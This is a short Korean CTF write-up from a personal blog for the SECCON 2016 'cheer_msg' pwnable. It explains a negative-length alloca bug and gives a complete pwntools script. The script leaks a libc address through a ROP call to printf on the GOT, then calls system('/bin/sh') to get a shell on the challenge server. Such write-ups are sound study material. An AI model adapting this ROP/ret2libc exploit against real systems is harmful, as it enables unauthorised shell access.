2016 seccon cheer_msg
by St1tchpwnablekr의 alloca랑 비슷한 문제였다.
값을 음수로 주게되면 입력buf의 주소를 조절할 수 있다.
rop로 printf("~~%s~~%s~~~", got, got) 호출해서 got를 릭한다음
libc주어졌으니 실제주소구하고
printf 호출 뒤 다시 main으로 트리거해서 system("/bin/sh") 호출되게했다.
from pwn import *
local = False
if local :
s = process('./cheer_msg')
print util.proc.pidof(s)
pause()
else :
s = remote('cheermsg.pwn.seccon.jp', 30527)
elf = ELF('cheer_msg')
libc = ELF('libc')
pop3ret = 0x80487ad
def solver() :
s.recvuntil('>>')
s.sendline('-128') #input buf -> main ebp-12
s.recvuntil('>>')
pay = 'a' * 16
pay += p32(elf.plt['printf']) + p32(pop3ret)
pay += p32(0x804887D) + p32(elf.got['atoi']) * 2
pay += p32(0x80485CA)
s.sendline(pay)
#calculate addr
leak = s.recvuntil('Message Length').split()
atoi_addr = u32(leak[25])
offset = atoi_addr - libc.symbols['atoi']
system = offset + libc.symbols['system']
binsh = offset + list(libc.search('/bin/sh'))[0]
#main trigger
s.recvuntil('>>')
s.sendline('-128')
s.recvuntil('>>')
pay = 'a' * 16
pay += p32(system)
pay += 'aaaa'
pay += p32(binsh)
s.sendline(pay)
s.interactive()
if __name__ == '__main__' :
solver()
블로그의 정보
튜기's blogg(st1tch)
St1tch